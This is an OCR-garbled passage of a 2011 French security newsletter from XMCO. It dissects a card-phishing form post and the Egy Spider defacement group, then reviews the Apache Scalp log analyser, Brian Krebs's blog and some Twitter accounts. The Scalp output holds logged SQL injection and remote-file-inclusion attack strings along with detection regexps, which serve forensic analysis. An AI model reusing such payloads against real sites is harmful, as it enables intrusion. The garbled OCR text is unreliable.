Accept-Charset: ISD-8850-1,utf-8;q=0.7,
Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://alert-client.con/FR-fr/security/vpv/onlineshop/visa/france/conpte/canfirnation/index.himl
Content-Type: application/x-www-form-urlencoded

Content-Length: 371

Template%24ctriSearchi24txtSearch=5earchilname=CERT&fname=XMC0&] our=156mois=10&annee=19756adress=rue+de+la

+chasse&eity=Paris&zip=75001&pays=FRANCESte |=01424242428emai l=testdBxnco. f répass=Enjn=Dupontabankname=Dupont

&idbankname=Dupont&Ful Lname=Dupont&cctype=Visa&

Le formulaire poste les informations saisis sur un script PHP
nommeé Egyspider. Une rapide recherche sur Google avec ce

mot clef nous donne quelques résultats.

-~
Go JSIC ogyspidor [ Q|
Recherche awvancée
Recherche
Tout eqy spider | Zone-H.org
www zone-h.orglarchive/nolifier=egy % 20s pider - Traduire cette page
Images 25 dl 15 - Daelagaments nolified by egy spider.

+ 2071107105 ~ www. 0 22200Kavps.com — Linux
Maps * 201 0/10/14 - wp.vDhacker.net - Linux
+ 2010/03/18 - www.osbbank com — Win 2003

Vidéus

Aclualités je vous présants EgY SpldEr ShEIL Final - Le Site de Ladoual
ahlt_over-biog.comianticie-je wous-presente-egy-spider-shall-final-73.

Shopping j& vous presente EgY SpldEr ShEILIe demier Arme des hacker Utiliser meme par
anenymous toute est dans cette Programme:des outils pour contrsler ...

Plus
EgY SpldEr ShEIL : Shell strongest in the history the hacker ! ~ THN ...
thehackemews com'.._fegy-spider-snell-ahell-stron... - Traduire cette page:

Paris 7 May 2011 — The Hacker News is an online Hacker News Organization. We propagate

Changer le lieu news spacifically related to information sacurity threats, Hacking

Le Web E ider Bl
egyspider.i

Pages en frangais

Pays : France

Pages en langue
dtrangdre traduites

Plus dioutils

s (RES) Sl .. 4 - oGV A5 ., KL, iyl Lol EgyBpider Blog — <l
All nghes reserved EgySpider.info [l Jad e

oiL.fr1 1008 Egy-Spider-V1.him

Egy Spider V1
o 9.

Ferum de programmation £t de panage oe connalasance.

2]

egyspiders.com

ogyspiders.com! - Traduire cetle page

Ce groupe de hacker sont a I'origine de nombreux «defa-

cements».

[xmMcol
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MIRERE o: L e Phishing du mois

i ES

iy

Date Notifier H M R L 7 Domain os View
2011/07/05 egy spider H M L0  www.bazzookavps.com Linux mirror
2010/10/14 H wp.vbhacker.net Linux

2010/03/18 H www.osbbank.com Win 2003

2009/10/22 H wwivi.travian-portal.de Linux

2005/03/28 H onlinesakarya.com Limwe

2005/02/10 www.canal-enanisme. org/ index.htm Ll

2008/02/10 H M aas.net Linux

2008/02/10 H M Wi tzev.com Linux

2008/12/18 H wvow.onisrael.com FreeBsD

2008/ 08/ 25 H M maxara.cz Linux mirrar
2008/ 08/ 25 H M www.tdivadlo.cz Linux mirror
2008/06/25 H M www.ekoenergla.org Linux

2008/ 06/ 25 H M Www.pzko.cz Limwe

2008/ 08/ 25 H M www.kassct.cz Linux

2008/06/25 H M www.irpdostalek.cz Linux

2008/06/25 M www.sochor-reklama.com/index.htm Linux

2008/06/25 H M wviw.polonica.cz Linux

2008/ 06/ 25 H M ww.obecalbrechtice.cz Linux

2008/ 08/ 25 H M wwiw.zeleznaberla.org Linux

2008/06/25 H M www.garmond.cz Linux

2008/ 08/ 25 H M woviviketesin.cz Linux

2008/ 08/ 25 H M www.Servisxt.cz Linux

2008/ 08/ 25 H M www.lwm.cz Linux

2008/06/25 H M www.vinis.cz Linux

2008/06/25 H M www.galacticheal.com Linux

Le formulaire nous redirige ensuite vers le site web de Visa.

|V http:f jwww.visaeurope.com/en/visa_europe.aspx vz v ) (29 Google

une 3

Form. v [ Images + ) Information + L] Divers v »* Entourer v [l Redimensionner ~ ¥ Outils = = Voir Source v [A] Options +
T

Select your country Search

VISA

Aboutus Making money flow Newsroom Work forVisa Cardholders Businesses & retailers Public sector  Video library

Visa Europe
The European

Payment system

Processing millions of European
payments every day - reliably,
securely and efficiently

We are a payments business

By making payments easier, we bring
more speed, security and simplicity
to consumers, retailers and
businesses, banks and governments.

» See how we make money flow

Technology Accepting Visa Interchange fees N

Number of transactions processed by
Visa Europe today®

1/6/5/5/a)6]’|%

More on technolog:
a5 forecast by Visa Europe's Processing Ansiysts

News

Visa Europe releases mobile

Accepting Visa offers a range of
benefits for your business

More on accepling Visa

Annual Report 2010

Our latest Annual report

Find out more about European and
local interchange rates

More on interchange fees

Spending index
Compiled by Markit on behalf of Visa

N
VISA &%

WoRLOWIDE sRONEOR

Buying tickets for London 2012 with Visa

Prepaid Providers

Find providers of Prepaid cards

acceptance security best practices
27 April 2011

is available to download
or view online

Europe, the best insight available on
European spending

Could you be one of Visa Europe’s
first ever apprentices?
15 April 2011

View the Annual Report o ==
Download PDF (12MB) e B

) i, A

View all

= # Morosort-iis/7.0 [\ & &5+

Cette attaque est une fois de plus grossiere (cf. les fautes
d’orthographe de I'email recu). Cependant, ces techniques
de Social Engineering marchent toujours et ont sans aucun
doute berné de nombreux internautes...

[xXmMcol
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Ao X Blog, logiciels et Twitter

A chaque parution, dans cette rubrique,
nous vous présentons des outils libres, des
extensions Firefox, ou encore nos sites web —
préférés.

Pour cette édition, nous avons choisi de
vous présenter Apache Scalp, le blog de
Brian Krebs et une sélection des profils
Twitter suivis de par le CERT-XMC(O.

Adrien GUINAULT

Maximilian

Apache Scalp :
Outil d’analyse de logs Apache

Le blog de Brian Krebs:
Chercheur en cybercriminalité

Top Twitter :
Une sélection de comptes Twitter suivis par le CERT-XMCO

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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> Apache Scalp
Outil d’analyse de jour-
naux d’événements

DISPONIBLE A L’ADRESSE SUIVANTE :
http://code.google.com/p/apache-scalp/

Avis XMCO

00000

Bien que cet outil accélere considérablement I'analyse, de
nombreux faux positifs sont remontés (notamment pour
des vulnérabilités inexploitables comme «HTTP response
splitting»).

Il ne remplacera jamais I'analyse manuelle et nos grep
favoris, mais il pourra faire gagner un temps considérable
lorsqu’il faudra analyser plusieurs MB de logs Apache.

Blog, logiciels et Twitter

Description

Apache Scalp est un outil d’analyse de log Apache. Lors
de missions Forensics, I'analyse de logs web manuelle est
bien souvent fastidieuse.

Apache Scalp permet d’analyser rapidement un fichier a la
recherche de patterns caractéristiques des attaques web :
XSS, injection SQL, injection LDAP, directory traversal.

Cet outil s'appuie sur les regles définies par PHP-IDS et
possede donc un nombre assez important de regexp.

De nombreuses options sont disponibles afin notamment
d’exporter les résultats sous forme HTML ou encore de
cibler un type d’attaque.

Terminal — bash — bash

166x27

[ adrien XMCO-Adrien ~/Desktop/Apache Scalp ] ./scalp-8.5.py -1 access.log -f ./default_filter.xml -o ./scalp-output --html
Loading XML file './default_filter.xml’...
Processing the file "access.log’...

Scalp results:

Processed 769113 lines over 769113

Found 5960 attack patterns in 526.265247 s
Generating output in ./scalp-output/access.log_scalp_*
[ adrien XMCO-Adrien ~/Desktop/Apache Scalp ] []

Aeacon: Detecls COMMMORn COMMERT Ty pes

Lo line: (fag, phptid=- 995 9% 20 UNIONY 208 LUK DSELECT®2 00 3130323534 3830303535

Matching Regesml?: | === -3 Ly Iy P00

Peacon DeLBEls COMMOoR OOMMERL Ly pes

DS LS 2 D]

Ling line: (fag. phplid =-585 8% M UNONE20A LS DSELECTRZ0031303235343830303536,0n3 1303 23534 3830303536--

Marching Regespe? )<l =]--230% W=D U 8] — DS L8 T DI s)

Arason” Derects COMMORN COMMERT TyPes

Log line: (fag, phpid=- 995 9% 20 UNIONY20A LU DSELECTHZ 00 3130323534 3830303536, 00 31303 23534 3830303536, 00 313032 35343 630303536

Marching Regespl? === == 30k L e

Peason DelSCls ODMMOon OOMMmERL Ty pes

DS LS DI

Log line: [fagq. phplid=-535.9% 20 UNKONEZ0ALE2 DSELECTRZ00x31303235343830303536,0n31303235343830303536, 031303235343 830303536,0x3

Manching Regexplr.) <! -]-=-=3% L v UM @ —EN 0 LB T < DI )

Aeasen: Detects comman oomment types

Lo line: (fag, phptid=- 995 9% 20 UNIONY 208 U2 DSELECT®2 00 3130323534 1830303536 00 31303 23534 3830303536, 0 313032 35343 B30 303536,0x3

Matching Regexpel? )<l == =% WA= H A== DEN 00 L4 80 Fa  DEA =)

Peacor DeLEEls COMMOR OOMMERL Dy pes

Liog line: [fag. phplid =-585 8% M0 UNONE 2042 DSELECTRZ00x31303235343830303536,0n31303 23534 3830303536, 03 1305235343 830303536,0u3

Matching Regesmi? )< -1--> 302 Ly 1T e
Aeason Detects COmmon Comment fypes
Log line:

[ENELA LRI 50y

(faq phpTid=-3%5 S 2OUNIONS204 L% CSELECTAZ 0031 3032 3 5343830303536 0x3 1303235 34 38303035 36,0031 303235343830 303516,0x3130323534]

Matching Regexpe(? | <l =]==23% W1 M0 == D8N0

rfe (Remote File Execution)

Reason: Detects url injections and RFE attempts

Log lime: /

.phplid=htp://210. findex.htmi?

Matching Regexp:? \w+]27<!/HREF)(? < SRC)(F< | LONCDESC)(? < |ReturnURL)=(?:http|ftp| https):)

Reason: Detects url injections and RFE attempts

Log lime: /
Matching Regexp:? \w+]27<!/HREF)(? < SRC)(F< | LONCDESC)(? < |ReturnURL)=(?:http|ftp| https):)

[xXmMcol

.phplid=http://210. findex.htmi?
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Blog, logiciels et Twitter

iy, i

. M |

Description

> Blog de Brian
Krebs

Blog cybercriminalité

Brian Krebs, journaliste de 1995 a 2009 au Washington
Post propose, depuis décembre 2009, un blog dédié a la
sécurité informatique et a la cybercriminalité.

Tous les sujets sont abordés des virus aux techniques des
cybercriminels ou encore les nouvelles vulnérabilités.

DISPONIBLE A L’ADRESSE SUIVANTE :
http://krebsonsecurity.com/

Suivez également Gynvael sur Twitter :
http://www.twitter.com/briankrebs
Avis XMCO

00000

Le blog de Brian Krebs aborde de nombreuses théma-
tiques aussi bien techniques que cybercriminalité au sens
large. Krebs est devenu un spécialiste incontournable de
ce milieu et ses papiers sont toujours passionnants et ap-

profondies !
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ABOUT THE WTHOR

Critical Security Updates from Microsoft, Apple -
You need all the help
Hello there! If you are new here, you might want to subseribe o ¥you can get 1o l:ll‘fﬂltl ; ;
advanced persistent threats

B‘.] the RSS feed for updates oo this topic.

You may also suhscribe by email in the sidebar = ke ZeausS/ZBOT,
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> Sélection des comptes Twitter
par le CERT-XMCO...

Iftach lan Am (iamit)

CcurelT NEWS (CyberCrimeNEWS)
Georg Wicherski (ochsff)

Xavier Mertens (xme)

Peter Krus (peterkruse)

Brian Krebs (briankrebs)

Cédric Foll (follc)

SeclList (SecList)

Nicolas Grégoire (Agarri_FR)

[XMCO) Ce document est la propriété du cabinet XMCO. Toute reproduction est stricteme



Couverture SSTIC

Cédric Blancher
http://sid.rstack.org/gallery/?galerie=201106_Rennes

Photos des articles

Emanuel Galimberti
http://www.flickr.com/photos/emanuelgalimberti/5320911527/in/photostream (www.photo-
works.it)

Bicouni
http://www.flickr.com/photos/bicouni/3201057182/sizes/o/in/photostream/

Chris Greer
http://www.flickr.com/photos/chrisgreer/3481810948/sizes/l/in/photostream/

Laura Gilmore
http://www.flickr.com/photos/genbug/5365019087/sizes/o/in/photostream/

legofenris
http://www.flickr.com/photos/legofenris/4390167286/sizes/o/in/set:72157622913762654/

Maximilian
http://www.flickr.com/photos/maximilianlindhe/3071939515/sizes/z/in/photostream/

Amelia Schmidt
http://www.flickr.com/photos/meeli/2854849909/

Peter Kirn
http://www.flickr.com/photos/p_kirn/3540530672/

Tobias Leeger
http://www.flickr.com/photos/saibotregeel/1098106984/sizes/o/in/photostream/

Steven Brener
http://www.flickr.com/photos/sbrener/5999685541/lightbox/

Rebecca Weaver
http://www.flickr.com/photos/trebecca84/6145989892/sizes/o/in/photostream/
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